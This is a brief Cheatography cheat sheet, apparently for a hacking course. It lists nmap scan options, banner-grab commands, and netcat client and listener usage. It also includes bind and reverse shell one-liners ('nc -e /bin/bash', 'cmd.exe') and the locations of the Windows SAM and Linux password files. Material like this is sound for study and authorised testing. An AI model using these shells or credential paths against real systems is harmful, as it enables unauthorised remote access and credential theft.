Cheatography

HOHE Cheat Sheet

by cyphox90 via cheatography.com/192992/cs/41784/

scanning & enumeration

nmap icmp echo	nmap -sn x.x.x.x
nmap TCP stealth	nmap -sS x.x.x.x
nmap service version scan	nmap -sV x.x.x.x
nmap aggressive scan	nmap -A x.x.x.x
nmap UDP scan	nmap -sU x.x.x.x
telnet banner grab	telnet x.x.x.x 80
server banner grab (enter twice)	HEAD / HTTP/1.1
netcat connect	nc x.x.x.x 22
netcat port scanner	nc -v -n -z -w1 x.x.x.x 1-65535
server banner grab	curl -I x.x.x.x

general commands

list all ip4 addresses	ip -br -4 a
list all ip6 addresses	ip -br -6 a

nc & shells

netcat client	nc x.x.x.x 4444
netcat listener	nc -l -p 4444
netcat backdoor linux	nc -l -p 4321 -e /bin/bash
netcat backdoor windows	nc -l -p 4321 -e cmd.exe
netcat reverse backdoor linux	nc x.x.x.x 4321 -e /bin/bash
netcat reverse backdoor windows	nc x.x.x.x 4321 -e cmd.exe

file locations

windows SAM file [username][userid][LM hash][NTLM hash]	[username][userid][LM hash][NTLM hash]	c:\windows\system32\config\SAM
Linux password file	[username][password][last pass change][min days][max valid]-[warn days][inactive][expire]	/etc/passwd

By **cyphox90**
cheatography.com/cyphox90/

Not published yet.
Last updated 18th December, 2023.